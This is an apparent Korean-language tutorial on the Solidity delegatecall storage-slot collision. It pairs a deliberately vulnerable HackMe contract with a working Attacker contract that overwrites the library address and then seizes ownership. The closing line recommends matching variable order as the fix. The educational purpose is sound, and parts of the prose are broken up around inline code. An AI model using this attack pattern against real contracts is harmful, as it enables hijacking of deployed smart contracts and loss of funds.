델리게이트 콜 - 변수 순서
5754 단어 soliditysecuritybestpractice
다음 예제를 통해 이를 이해해 봅시다.
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.7.6;
contract HackMe {
address lib;
address public owner;
uint someNumber;
constructor(address _lib) {
owner = msg.sender;
lib = _lib;
}
function doStuff(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doStuff(uint256)", _num));
}
}
contract Lib {
uint someNumber;
function doStuff(uint _num) public {
someNumber = _num;
}
}
HackMe 델리게이트의
doStuff()
함수는 Lib의 doStuff()
함수를 호출합니다. 그리고 Lib에서 이 함수는 첫 번째 슬롯의 첫 번째 변수를 변경하고,Lib에서는
uint someNumber
이지만 HackMe에서는 address lib
입니다. 위임 호출은 위임된 계약의 기능을 사용하여 호출자의 상태를 변경하므로 HackMe의 address lib
가 변경됩니다(HackMe의 첫 번째 변수이기 때문).이제 Attacker가 이를 어떻게 활용할 수 있는지 살펴보겠습니다.
doStuff()
함수를 갖게 됩니다. 단계 - I
doStuff()
. address lib
값이 공격자 계약의 주소로 변경됩니다. 단계 - II
doStuff()
함수를 다시 호출합니다. 이번에는 HackMe 대리인이 공격자를 호출합니다(단계 - I 때문에)doStuff()
함수는 HackMe에서 소유자 변수를 msg.sender(공격자 주소)로 변경합니다. 따라서 HackMe 계약을 하이재킹합니다. 더 잘 이해하려면 다음 계약을 참조하십시오.
contract Attacker {
address Lib;
address public owner;
uint someNumber;
HackMe hackMe;
constructor(address _hackMe) {
hackMe = HackMe(_hackMe);
}
function attack() external {
hackMe.doStuff(uint(address(this))); // -------- (I)
hackMe.doStuff(1); // -------- (II)
}
function doStuff(uint _num) public { // HackMe will delegatecall this when (II) gets execute after (I)
owner = msg.sender; // updates owner of HackMe
}
}
이러한 공격을 피하는 유일한 해결책은 Hackme와 마찬가지로 Lib에서 변수 순서를 유지하는 것입니다.
Reference
이 문제에 관하여(델리게이트 콜 - 변수 순서), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/rushanksavant/delegate-call-order-of-variables-4k3텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)